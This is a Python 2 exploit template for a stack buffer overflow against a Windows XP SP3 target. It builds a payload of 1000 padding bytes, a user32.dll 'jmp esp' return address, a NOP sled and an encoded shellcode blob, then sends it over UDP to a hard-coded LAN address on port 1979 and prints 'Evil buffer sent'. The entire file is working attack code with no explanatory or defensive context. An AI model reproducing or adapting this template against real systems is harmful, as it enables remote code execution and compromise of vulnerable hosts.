exploit_template.py

import socket
import sys

buf = 'A'*1000
buf += '\x53\x93\x42\x7e' #user32.dll jmp esp XP SP3
buf += '\x90'*16
buf += (
"\xdb\xc5\xbe\x1b\xbf\x27\x38\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x33\x31\x77\x17\x83\xef\xfc\x03\x6c\xac\xc5\xcd\x6e\x3a\x80"
"\x2e\x8e\xbb\xf3\xa7\x6b\x8a\x21\xd3\xf8\xbf\xf5\x97\xac\x33"
"\x7d\xf5\x44\xc7\xf3\xd2\x6b\x60\xb9\x04\x42\x71\x0f\x89\x08"
"\xb1\x11\x75\x52\xe6\xf1\x44\x9d\xfb\xf0\x81\xc3\xf4\xa1\x5a"
"\x88\xa7\x55\xee\xcc\x7b\x57\x20\x5b\xc3\x2f\x45\x9b\xb0\x85"
"\x44\xcb\x69\x91\x0f\xf3\x02\xfd\xaf\x02\xc6\x1d\x93\x4d\x63"
"\xd5\x67\x4c\xa5\x27\x87\x7f\x89\xe4\xb6\xb0\x04\xf4\xff\x76"
"\xf7\x83\x0b\x85\x8a\x93\xcf\xf4\x50\x11\xd2\x5e\x12\x81\x36"
"\x5f\xf7\x54\xbc\x53\xbc\x13\x9a\x77\x43\xf7\x90\x83\xc8\xf6"
"\x76\x02\x8a\xdc\x52\x4f\x48\x7c\xc2\x35\x3f\x81\x14\x91\xe0"
"\x27\x5e\x33\xf4\x5e\x3d\x59\x0b\xd2\x3b\x24\x0b\xec\x43\x06"
"\x64\xdd\xc8\xc9\xf3\xe2\x1a\xae\x0c\xa9\x07\x86\x84\x74\xd2"
"\x9b\xc8\x86\x08\xdf\xf4\x04\xb9\x9f\x02\x14\xc8\x9a\x4f\x92"
"\x20\xd6\xc0\x77\x47\x45\xe0\x5d\x24\x08\x72\x3d\x85\xaf\xf2"
"\xa4\xd9"
)
sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #tcp socket
try:
    sc = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #udp socket
    sc.connect(("192.168.8.133", 1979))
    sc.send(buf + "\n")
    print "[+] Evil buffer sent"
    sc.close()

except:
    print "[-] Can't send evil buffer"
    sys.exit()